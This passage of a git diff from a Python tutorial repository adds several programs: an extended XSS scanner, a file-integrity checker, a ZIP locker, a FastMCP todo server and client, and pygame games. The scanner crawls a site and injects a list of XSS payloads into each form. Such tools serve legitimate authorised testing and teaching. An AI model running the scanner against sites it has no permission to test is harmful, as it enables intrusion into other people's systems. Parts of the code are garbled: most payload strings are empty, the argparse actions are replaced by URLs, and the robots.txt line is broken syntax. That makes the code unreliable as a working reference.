match, print an error message in red. + print(f"{Fore.RED}[-] Hash verification failed. The software may have been tampered with or is not authentic.") diff --git a/ethical-hacking/verify-file-integrity/requirements.txt b/ethical-hacking/verify-file-integrity/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/verify-file-integrity/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/xss-vulnerability-scanner/requirements.txt b/ethical-hacking/xss-vulnerability-scanner/requirements.txt index 1f311f5c..20355cca 100644 --- a/ethical-hacking/xss-vulnerability-scanner/requirements.txt +++ b/ethical-hacking/xss-vulnerability-scanner/requirements.txt @@ -1,2 +1,3 @@ requests -bs4 \ No newline at end of file +bs4 +colorama \ No newline at end of file diff --git a/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py new file mode 100644 index 00000000..104615d8 --- /dev/null +++ b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py @@ -0,0 +1,203 @@ +import requests # Importing requests library for making HTTP requests +from pprint import pprint # Importing pprint for pretty-printing data structures +from bs4 import BeautifulSoup as bs # Importing BeautifulSoup for HTML parsing +from urllib.parse import urljoin, urlparse # Importing utilities for URL manipulation +from urllib.robotparser import RobotFileParser # Importing RobotFileParser for parsing robots.txt files +from colorama import Fore, Style # Importing colorama for colored terminal output +import argparse # Importing argparse for command-line argument parsing + +# List of XSS payloads to test forms with +XSS_PAYLOADS = [ + '">', + '\'>', + '', + '">', + '\'>', + "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//-->", + "", + "", +] +# global variable to store all crawled links +crawled_links = set() + +def print_crawled_links(): + """ + Print all crawled links + """ + print(f"\n[+] Links crawled:") + for link in crawled_links: + print(f" {link}") + print() + + +# Function to get all forms from a given URL +def get_all_forms(url): + """Given a `url`, it returns all forms from the HTML content""" + try: + # Using BeautifulSoup to parse HTML content of the URL + soup = bs(requests.get(url).content, "html.parser") + # Finding all form elements in the HTML + return soup.find_all("form") + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in retrieving forms + print(f"[-] Error retrieving forms from {url}: {e}") + return [] + +# Function to extract details of a form +def get_form_details(form): + """ + This function extracts all possible useful information about an HTML `form` + """ + details = {} + # Extracting form action and method + action = form.attrs.get("action", "").lower() + method = form.attrs.get("method", "get").lower() + inputs = [] + # Extracting input details within the form + for input_tag in form.find_all("input"): + input_type = input_tag.attrs.get("type", "text") + input_name = input_tag.attrs.get("name") + inputs.append({"type": input_type, "name": input_name}) + # Storing form details in a dictionary + details["action"] = action + details["method"] = method + details["inputs"] = inputs + return details + +# Function to submit a form with a specific value +def submit_form(form_details, url, value): + """ + Submits a form given in `form_details` + Params: + form_details (list): a dictionary that contains form information + url (str): the original URL that contains that form + value (str): this will be replaced for all text and search inputs + Returns the HTTP Response after form submission + """ + target_url = urljoin(url, form_details["action"]) # Constructing the absolute form action URL + inputs = form_details["inputs"] + data = {} + # Filling form inputs with the provided value + for input in inputs: + if input["type"] == "text" or input["type"] == "search": + input["value"] = value + input_name = input.get("name") + input_value = input.get("value") + if input_name and input_value: + data[input_name] = input_value + try: + # Making the HTTP request based on the form method (POST or GET) + if form_details["method"] == "post": + return requests.post(target_url, data=data) + else: + return requests.get(target_url, params=data) + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in form submission + print(f"[-] Error submitting form to {target_url}: {e}") + return None + + +def get_all_links(url): + """ + Given a `url`, it returns all links from the HTML content + """ + try: + # Using BeautifulSoup to parse HTML content of the URL + soup = bs(requests.get(url).content, "html.parser") + # Finding all anchor elements in the HTML + return [urljoin(url, link.get("href")) for link in soup.find_all("a")] + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in retrieving links + print(f"[-] Error retrieving links from {url}: {e}") + return [] + + +# Function to scan for XSS vulnerabilities +def scan_xss(args, scanned_urls=None): + """Given a `url`, it prints all XSS vulnerable forms and + returns True if any is vulnerable, None if already scanned, False otherwise""" + global crawled_links + if scanned_urls is None: + scanned_urls = set() + # Checking if the URL is already scanned + if args.url in scanned_urls: + return + # Adding the URL to the scanned URLs set + scanned_urls.add(args.url) + # Getting all forms from the given URL + forms = get_all_forms(args.url) + print(f"\n[+] Detected {len(forms)} forms on {args.url}") + # Parsing the URL to get the domain + parsed_url = urlparse(args.url) + domain = f"{parsed_url.scheme}://{parsed_url.netloc}" + if args.obey_robots: + robot_parser = RobotFileParser() + robot_parser.set_url(https://github.com/urljoin(domain,%20%22/robots.txt")) + try: + robot_parser.read() + except Exception as e: + # Handling exceptions if there's an error in reading robots.txt + print(f"[-] Error reading robots.txt file for {domain}: {e}") + crawl_allowed = False + else: + crawl_allowed = robot_parser.can_fetch("https://github.com/*", args.url) + else: + crawl_allowed = True + if crawl_allowed or parsed_url.path: + for form in forms: + form_details = get_form_details(form) + form_vulnerable = False + # Testing each form with XSS payloads + for payload in XSS_PAYLOADS: + response = submit_form(form_details, args.url, payload) + if response and payload in response.content.decode(): + print(f"\n{Fore.GREEN}[+] XSS Vulnerability Detected on {args.url}{Style.RESET_ALL}") + print(f"[*] Form Details:") + pprint(form_details) + print(f"{Fore.YELLOW}[*] Payload: {payload} {Style.RESET_ALL}") + # save to a file if output file is provided + if args.output: + with open(args.output, "a") as f: + f.write(f"URL: {args.url}\n") + f.write(f"Form Details: {form_details}\n") + f.write(f"Payload: {payload}\n") + f.write("-"*50 + "\n\n") + form_vulnerable = True + break # No need to try other payloads for this endpoint + if not form_vulnerable: + print(f"{Fore.MAGENTA}[-] No XSS vulnerability found on {args.url}{Style.RESET_ALL}") + # Crawl links if the option is enabled + if args.crawl: + print(f"\n[+] Crawling links from {args.url}") + try: + # Crawling links from the given URL + links = get_all_links(args.url) + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in crawling links + print(f"[-] Error crawling links from {args.url}: {e}") + links = [] + for link in set(links): # Removing duplicates + if link.startswith(domain): + crawled_links.add(link) + if args.max_links and len(crawled_links) >= args.max_links: + print(f"{Fore.CYAN}[-] Maximum links ({args.max_links}) limit reached. Exiting...{Style.RESET_ALL}") + print_crawled_links() + exit(0) + # Recursively scanning XSS vulnerabilities for crawled links + args.url = link + link_vulnerable = scan_xss(args, scanned_urls) + if not link_vulnerable: + continue + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Extended XSS Vulnerability scanner script.") + parser.add_argument("url", help="URL to scan for XSS vulnerabilities") + parser.add_argument("-c", "--crawl", action="https://github.com/store_true", help="Crawl links from the given URL") + # max visited links + parser.add_argument("-m", "--max-links", type=int, default=0, help="Maximum number of links to visit. Default 0, which means no limit.") + parser.add_argument("--obey-robots", action="https://github.com/store_true", help="Obey robots.txt rules") + parser.add_argument("-o", "--output", help="Output file to save the results") + args = parser.parse_args() + scan_xss(args) # Initiating XSS vulnerability scan + + print_crawled_links() diff --git a/ethical-hacking/zip-file-locker/README.md b/ethical-hacking/zip-file-locker/README.md new file mode 100644 index 00000000..8a846e07 --- /dev/null +++ b/ethical-hacking/zip-file-locker/README.md @@ -0,0 +1 @@ +# [How to Create a Zip File Locker in Python](https://thepythoncode.com/article/build-a-zip-file-locker-in-python) \ No newline at end of file diff --git a/ethical-hacking/zip-file-locker/requirements.txt b/ethical-hacking/zip-file-locker/requirements.txt new file mode 100644 index 00000000..49cc4dc0 --- /dev/null +++ b/ethical-hacking/zip-file-locker/requirements.txt @@ -0,0 +1,2 @@ +colorama +pyzipper \ No newline at end of file diff --git a/ethical-hacking/zip-file-locker/zip_file_locker.py b/ethical-hacking/zip-file-locker/zip_file_locker.py new file mode 100644 index 00000000..67790324 --- /dev/null +++ b/ethical-hacking/zip-file-locker/zip_file_locker.py @@ -0,0 +1,59 @@ +# Import the necessary libraries. +import pyzipper, argparse, sys, re, getpass +from colorama import Fore, init + +init() + +# Define a function to get CLI commands. +def get_cli_arguments(): + parser = argparse.ArgumentParser(description="A program to lock a ZIP File.") + # Collect user arguments. + parser.add_argument('--zipfile', '-z', dest='zip_file', help='Specify the ZIP file to create or update.') + parser.add_argument('--addfile', '-a', dest='add_files', nargs='+', help='Specify one or more files to add to the ZIP file(s).') + + # Parse the collected arguments. + args = parser.parse_args() + + # Check if arguments are missing, print appropriate messages and exit the program. + if not args.zip_file: + parser.print_help() + sys.exit() + if not args.add_files: + parser.print_help() + sys.exit() + + return args + +# Function to check password strength. +def check_password_strength(password): + # Check for minimum length. In our case, 8. + if len(password) < 8: + return False + + # Check for at least one uppercase letter, one lowercase letter, and one digit. + if not (re.search(r'[A-Z]', password) and re.search(r'[a-z]', password) and re.search(r'\d', password)): + return False + + return True + +# Call the arguments function. +arguments = get_cli_arguments() + +# Get user password +password = getpass.getpass("[?] Enter your password > ") + +# If password is weak, tell the user and exit the program. +if not check_password_strength(password): + print(f"{Fore.RED}[-] Password is not strong enough. It should have at least 8 characters and contain at least one uppercase letter, one lowercase letter, and one digit.") + sys.exit() + +# Create a password-protected ZIP file. +with pyzipper.AESZipFile(arguments.zip_file, 'w', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES) as zf: + zf.setpassword(password.encode()) + + # Add files to the ZIP file. + for file_to_add in arguments.add_files: + zf.write(file_to_add) + +# Print a Success message. +print(f"{Fore.GREEN}[+] ZIP file is locked with a strong password.") diff --git a/general/fastmcp-mcp-client-server-todo-manager/README.md b/general/fastmcp-mcp-client-server-todo-manager/README.md new file mode 100644 index 00000000..dd988428 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/README.md @@ -0,0 +1,39 @@ +# Build a real MCP client and server in Python with FastMCP (Todo Manager example) + +This folder contains the code that accompanies the article: + +- Article: https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager + +What’s included +- `todo_server.py`: FastMCP MCP server exposing tools, resources, and a prompt for a Todo Manager. +- `todo_client_test.py`: A small client script that connects to the server and exercises all features. +- `requirements.txt`: Python dependencies for this tutorial. + +Quick start +1) Install requirements +```bash +python -m venv .venv && source .venv/bin/activate # or use your preferred env manager +pip install -r requirements.txt +``` + +2) Run the server (stdio transport by default) +```bash +python todo_server.py +``` + +3) In a separate terminal, run the client +```bash +python todo_client_test.py +``` + +Optional: run the server over HTTP +- In `todo_server.py`, replace the last line with: +```python +mcp.run(transport="http", host="127.0.0.1", port=8000) +``` +- Then change the client constructor to `Client("http://127.0.0.1:8000/mcp")`. + +Notes +- Requires Python 3.10+. +- The example uses in-memory storage for simplicity. +- For production tips (HTTPS, auth, containerization), see the article. diff --git a/general/fastmcp-mcp-client-server-todo-manager/requirements.txt b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt new file mode 100644 index 00000000..2c9387f7 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt @@ -0,0 +1 @@ +fastmcp>=2.12 \ No newline at end of file diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py new file mode 100644 index 00000000..f01a1e78 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py @@ -0,0 +1,50 @@ +import asyncio +from fastmcp import Client + +async def main(): + # Option A: Connect to local Python script (stdio) + client = Client("todo_server.py") + + # Option B: In-memory (for tests) + # from todo_server import mcp + # client = Client(mcp) + + async with client: + await client.ping() + print("[OK] Connected") + + # Create a few todos + t1 = await client.call_tool("create_todo", {"title": "Write README", "priority": "high"}) + t2 = await client.call_tool("create_todo", {"title": "Refactor utils", "description": "Split helpers into modules"}) + t3 = await client.call_tool("create_todo", {"title": "Add tests", "priority": "low"}) + print("Created IDs:", t1.data["id"], t2.data["id"], t3.data["id"]) + + # List open + open_list = await client.call_tool("list_todos", {"status": "open"}) + print("Open IDs:", [t["id"] for t in open_list.data["items"]]) + + # Complete one + updated = await client.call_tool("complete_todo", {"todo_id": t2.data["id"]}) + print("Completed:", updated.data["id"], "status:", updated.data["status"]) + + # Search + found = await client.call_tool("search_todos", {"query": "readme"}) + print("Search 'readme':", [t["id"] for t in found.data["items"]]) + + # Resources + stats = await client.read_resource("stats://todos") + print("Stats:", getattr(stats[0], "text", None) or stats[0]) + + todo2 = await client.read_resource(f"todo://{t2.data['id']}") + print("todo://{id}:", getattr(todo2[0], "text", None) or todo2[0]) + + # Prompt + prompt_msgs = await client.get_prompt("suggest_next_action", {"pending": 2, "project": "MCP tutorial"}) + msgs_pretty = [ + {"role": m.role, "content": getattr(m, "content", None) or getattr(m, "text", None)} + for m in getattr(prompt_msgs, "messages", []) + ] + print("Prompt messages:", msgs_pretty) + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_server.py b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py new file mode 100644 index 00000000..64f99b73 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py @@ -0,0 +1,88 @@ +from typing import Literal +from itertools import count +from datetime import datetime, timezone +from fastmcp import FastMCP + +# In-memory storage for demo purposes +TODOS: list[dict] = [] +_id = count(start=1) + +mcp = FastMCP(name="Todo Manager") + +@mcp.tool +def create_todo( + title: str, + description: str = "", + priority: Literal["low", "medium", "high"] = "medium", +) -> dict: + """Create a todo (id, title, status, priority, timestamps).""" + todo = { + "id": next(_id), + "title": title, + "description": description, + "priority": priority, + "status": "open", + "created_at": datetime.now(timezone.utc).isoformat(), + "completed_at": None, + } + TODOS.append(todo) + return todo + +@mcp.tool +def list_todos(status: Literal["open", "done", "all"] = "open") -> dict: + """List todos by status ('open' | 'done' | 'all').""" + if status == "all": + items = TODOS + elif status == "open": + items = [t for t in TODOS if t["status"] == "open"] + else: + items = [t for t in TODOS if t["status"] == "done"] + return {"items": items} + +@mcp.tool +def complete_todo(todo_id: int) -> dict: + """Mark a todo as done.""" + for t in TODOS: + if t["id"] == todo_id: + t["status"] = "done" + t["completed_at"] = datetime.now(timezone.utc).isoformat() + return t + raise ValueError(f"Todo {todo_id} not found") + +@mcp.tool +def search_todos(query: str) -> dict: + """Case-insensitive search in title/description.""" + q = query.lower().strip() + items = [t for t in TODOS if q in t["title"].lower() or q in t["description"].lower()] + return {"items": items} + +# Read-only resources +@mcp.resource("stats://todos") +def todo_stats() -> dict: + """Aggregated stats: total, open, done.""" + total = len(TODOS) + open_count = sum(1 for t in TODOS if t["status"] == "open") + done_count = total - open_count + return {"total": total, "open": open_count, "done": done_count} + +@mcp.resource("todo://{id}") +def get_todo(id: int) -> dict: + """Fetch a single todo by id.""" + for t in TODOS: + if t["id"] == id: + return t + raise ValueError(f"Todo {id} not found") + +# A reusable prompt +@mcp.prompt +def suggest_next_action(pending: int, project: str | None = None) -> str: + """Render a small instruction for an LLM to propose next action.""" + base = f"You have {pending} pending TODOs. " + if project: + base += f"They relate to the project '{project}'. " + base += "Suggest the most impactful next action in one short sentence." + return base + +if __name__ == "__main__": + # Default transport is stdio; you can also use transport="http", host=..., port=... + mcp.run() diff --git a/general/interactive-weather-plot/interactive_weather_plot.py b/general/interactive-weather-plot/interactive_weather_plot.py index b4d17141..3d1ea566 100644 --- a/general/interactive-weather-plot/interactive_weather_plot.py +++ b/general/interactive-weather-plot/interactive_weather_plot.py @@ -68,7 +68,7 @@ def changeLocation(newLocation): # Making the Radio Buttons buttons = RadioButtons( ax=plt.axes([0.1, 0.1, 0.2, 0.2]), - labels=locations.keys() + labels=list(locations.keys()) ) # Connect click event on the buttons to the function that changes location. @@ -86,4 +86,4 @@ def changeLocation(newLocation): plt.savefig('file.svg', format='svg') -plt.show() \ No newline at end of file +plt.show() diff --git a/general/mouse-controller/draw.py b/general/mouse-controller/draw.py new file mode 100644 index 00000000..7eab5a48 --- /dev/null +++ b/general/mouse-controller/draw.py @@ -0,0 +1,35 @@ +import mouse +import math +import time + +def draw_square(size): + # click and hold the left mouse button + mouse.press() + mouse.move(size, 0, absolute=False, duration=0.2) + mouse.move(0, size, absolute=False, duration=0.2) + mouse.move(-size, 0, absolute=False, duration=0.2) + mouse.move(0, -size, absolute=False, duration=0.2) + # release the left mouse button + mouse.release() + + +def draw_circle(radius): + # click and hold the left mouse button + mouse.press() + # move the mouse in a circle + for i in range(0, 360, 5): + # convert degrees to radians + angle = math.radians(i) + # calculate the x and y coordinates + x = radius * math.cos(angle) + y = radius * math.sin(angle) + # move the mouse to the calculated position + mouse.move(x, y, absolute=False, duration=0.01) + # release the left mouse button + mouse.release() + +if __name__ == "__main__": + # Place the mouse at the starting point and then call + draw_square(200) + time.sleep(1) + draw_circle(10) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/README.md b/gui-programming/adding-sound-effects-to-games/README.md new file mode 100644 index 00000000..65bd6f17 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/README.md @@ -0,0 +1 @@ +# [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/0.png b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png new file mode 100644 index 00000000..cc0c1f20 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/1.png b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png new file mode 100644 index 00000000..73e9592a Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/2.png b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png new file mode 100644 index 00000000..d89bb79b Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav new file mode 100644 index 00000000..49ceb7d8 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav new file mode 100644 index 00000000..9dcc7062 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 new file mode 100644 index 00000000..cb9fcc85 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png new file mode 100644 index 00000000..0c6b138c Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png new file mode 100644 index 00000000..70105cb5 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png new file mode 100644 index 00000000..03e3e82c Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png differ diff --git a/gui-programming/adding-sound-effects-to-games/bird.py b/gui-programming/adding-sound-effects-to-games/bird.py new file mode 100644 index 00000000..0d7aec26 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/bird.py @@ -0,0 +1,46 @@ +import pygame +from settings import import_sprite + +class Bird(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + # bird basic info + self.frame_index = 0 + self.animation_delay = 3 + self.jump_move = -8 + + # bird animation + self.bird_img = import_sprite("assets/bird") + self.image = self.bird_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # bird status + self.direction = pygame.math.Vector2(0, 0) + self.score = 0 + + # for bird's flying animation + def _animate(self): + sprites = self.bird_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # to make the bird fly higher + def _jump(self): + self.direction.y = self.jump_move + whoosh = pygame.mixer.Sound("assets/sfx/whoosh.mp3") + whoosh.set_volume(0.5) + whoosh.play() + + # updates the bird's overall state + def update(self, is_jump): + if is_jump: + self._jump() + self._animate() + # print(self.score) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/game.py b/gui-programming/adding-sound-effects-to-games/game.py new file mode 100644 index 00000000..d2d7e622 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/game.py @@ -0,0 +1,25 @@ +import pygame +from settings import WIDTH, HEIGHT + +pygame.font.init() + +class GameIndicator: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + self.inst_color = pygame.Color("black") + + def show_score(self, int_score): + bird_score = str(int_score) + score = self.font.render(bird_score, True, self.color) + self.screen.blit(score, (WIDTH // 2, 50)) + + def instructions(self): + inst_text1 = "Press SPACE button to Jump," + inst_text2 = "Press \"R\" Button to Restart Game." + ins1 = self.inst_font.render(inst_text1, True, self.inst_color) + ins2 = self.inst_font.render(inst_text2, True, self.inst_color) + self.screen.blit(ins1, (95, 400)) + self.screen.blit(ins2, (70, 450)) diff --git a/gui-programming/adding-sound-effects-to-games/main.py b/gui-programming/adding-sound-effects-to-games/main.py new file mode 100644 index 00000000..ea83ee54 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/main.py @@ -0,0 +1,44 @@ +import pygame, sys +from settings import WIDTH, HEIGHT +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Flappy Bird") + +class Main: + def __init__(self, screen): + self.screen = screen + self.bg_img = pygame.image.load('assets/terrain/bg.png') + self.bg_img = pygame.transform.scale(self.bg_img, (WIDTH, HEIGHT)) + self.FPS = pygame.time.Clock() + + def main(self): + pygame.mixer.music.load("assets/sfx/bgm.wav") + pygame.mixer.music.play(-1) + pygame.mixer.music.set_volume(0.8) + world = World(screen) + while True: + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if not world.playing and not world.game_over: + world.playing = True + if event.key == pygame.K_SPACE: + world.update("jump") + if event.key == pygame.K_r: + world.update("restart") + + world.update() + pygame.display.update() + self.FPS.tick(60) + +if __name__ == "__main__": + play = Main(screen) + play.main() diff --git a/gui-programming/adding-sound-effects-to-games/pipe.py b/gui-programming/adding-sound-effects-to-games/pipe.py new file mode 100644 index 00000000..a66a959b --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/pipe.py @@ -0,0 +1,21 @@ +import pygame + +class Pipe(pygame.sprite.Sprite): + def __init__(self, pos, width, height, flip): + super().__init__() + self.width = width + img_path = 'assets/terrain/pipe.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (width, height)) + if flip: + flipped_image = pygame.transform.flip(self.image, False, True) + self.image = flipped_image + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift + + # removes the pipe in the game screen once it is not shown in the screen anymore + if self.rect.right < (-self.width): + self.kill() \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/requirements.txt b/gui-programming/adding-sound-effects-to-games/requirements.txt new file mode 100644 index 00000000..a1cadd9d --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/requirements.txt @@ -0,0 +1 @@ +pygame==2.5.2 \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/settings.py b/gui-programming/adding-sound-effects-to-games/settings.py new file mode 100644 index 00000000..52cb46a4 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/settings.py @@ -0,0 +1,25 @@ +WIDTH, HEIGHT = 600, 680 + +pipe_pair_sizes = [ + (1, 7), + (2, 6), + (3, 5), + (4, 4), + (5, 3), + (6, 2), + (7, 1) +] +pipe_size = HEIGHT // 10 +pipe_gap = (pipe_size * 2) + (pipe_size // 2) + +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/world.py b/gui-programming/adding-sound-effects-to-games/world.py new file mode 100644 index 00000000..06712546 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/world.py @@ -0,0 +1,105 @@ +import pygame +from pipe import Pipe +from bird import Bird +from game import GameIndicator +from settings import WIDTH, HEIGHT, pipe_size, pipe_gap, pipe_pair_sizes +import random + +class World: + def __init__(self, screen): + self.screen = screen + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.5 + self.current_pipe = None + self.pipes = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self._generate_world() + self.playing = False + self.game_over = False + self.passed = True + self.game = GameIndicator(screen) + + # creates the player and the obstacle + def _generate_world(self): + self._add_pipe() + bird = Bird((WIDTH//2 - pipe_size, HEIGHT//2 - pipe_size), 30) + self.player.add(bird) + + # adds pipe once the last pipe added reached the desired pipe horizontal spaces + def _add_pipe(self): + pipe_pair_size = random.choice(pipe_pair_sizes) + top_pipe_height, bottom_pipe_height = pipe_pair_size[0] * pipe_size, pipe_pair_size[1] * pipe_size + + pipe_top = Pipe((WIDTH, 0 - (bottom_pipe_height + pipe_gap)), pipe_size, HEIGHT, True) + pipe_bottom = Pipe((WIDTH, top_pipe_height + pipe_gap), pipe_size, HEIGHT, False) + self.pipes.add(pipe_top) + self.pipes.add(pipe_bottom) + self.current_pipe = pipe_top + + # for moving background/obstacle + def _scroll_x(self): + if self.playing: + self.world_shift = -6 + else: + self.world_shift = 0 + + # add gravity to bird for falling + def _apply_gravity(self, player): + if self.playing or self.game_over: + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # handles scoring and collision + def _handle_collisions(self): + bird = self.player.sprite + # for collision checking + if pygame.sprite.groupcollide(self.player, self.pipes, False, False) or bird.rect.bottom >= HEIGHT or bird.rect.top <= 0: + if self.playing: + hit = pygame.mixer.Sound("assets/sfx/hit.wav") + hit.set_volume(0.7) + hit.play() + self.playing = False + self.game_over = True + # for scoring + else: + bird = self.player.sprite + if bird.rect.x >= self.current_pipe.rect.centerx: + bird.score += 1 + self.passed = True + + # updates the bird's overall state + def update(self, player_event = None): + # new pipe adder + if self.current_pipe.rect.centerx <= (WIDTH // 2) - pipe_size: + self._add_pipe() + + # updates, draws pipes + self.pipes.update(self.world_shift) + self.pipes.draw(self.screen) + + # applying game physics + self._apply_gravity(self.player.sprite) + self._scroll_x() + self._handle_collisions() + + # configuring player actions + if player_event == "jump" and not self.game_over: + player_event = True + elif player_event == "restart": + self.game_over = False + self.pipes.empty() + self.player.empty() + self.player.score = 0 + self._generate_world() + else: + player_event = False + + if not self.playing: + self.game.instructions() + + # updates, draws pipes + self.player.update(player_event) + self.player.draw(self.screen) + + self.game.show_score(self.player.sprite.score) \ No newline at end of file diff --git a/gui-programming/checkers-game/Board.py b/gui-programming/checkers-game/Board.py new file mode 100644 index 00000000..4da2ebb6 --- /dev/null +++ b/gui-programming/checkers-game/Board.py @@ -0,0 +1,84 @@ +import pygame +from Tile import Tile +from Pawn import Pawn + +class Board: + def __init__(self,tile_width, tile_height, board_size): + self.tile_width = tile_width + self.tile_height = tile_height + self.board_size = board_size + self.selected_piece = None + + self.turn = "black" + self.is_jump = False + + self.config = [ + ['', 'bp', '', 'bp', '', 'bp', '', 'bp'], + ['bp', '', 'bp', '', 'bp', '', 'bp', ''], + ['', 'bp', '', 'bp', '', 'bp', '', 'bp'], + ['', '', '', '', '', '', '', ''], + ['', '', '', '', '', '', '', ''], + ['rp', '', 'rp', '', 'rp', '', 'rp', ''], + ['', 'rp', '', 'rp', '', 'rp', '', 'rp'], + ['rp', '', 'rp', '', 'rp', '', 'rp', ''] + ] + + self.tile_list = self._generate_tiles() + self._setup() + + def _generate_tiles(self): + output = [] + for y in range(self.board_size): + for x in range(self.board_size): + output.append( + Tile(x, y, self.tile_width, self.tile_height) + ) + return output + + def get_tile_from_pos(self, pos): + for tile in self.tile_list: + if (tile.x, tile.y) == (pos[0], pos[1]): + return tile + + def _setup(self): + for y_ind, row in enumerate(self.config): + for x_ind, x in enumerate(row): + tile = self.get_tile_from_pos((x_ind, y_ind)) + if x != '': + if x[-1] == 'p': + color = 'red' if x[0] == 'r' else 'black' + tile.occupying_piece = Pawn(x_ind, y_ind, color, self) + + def handle_click(self, pos): + x, y = pos[0], pos[-1] + if x >= self.board_size or y >= self.board_size: + x = x // self.tile_width + y = y // self.tile_height + clicked_tile = self.get_tile_from_pos((x, y)) + + if self.selected_piece is None: + if clicked_tile.occupying_piece is not None: + if clicked_tile.occupying_piece.color == self.turn: + self.selected_piece = clicked_tile.occupying_piece + elif self.selected_piece._move(clicked_tile): + if not self.is_jump: + self.turn = 'red' if self.turn == 'black' else 'black' + else: + if len(clicked_tile.occupying_piece.valid_jumps()) == 0: + self.turn = 'red' if self.turn == 'black' else 'black' + elif clicked_tile.occupying_piece is not None: + if clicked_tile.occupying_piece.color == self.turn: + self.selected_piece = 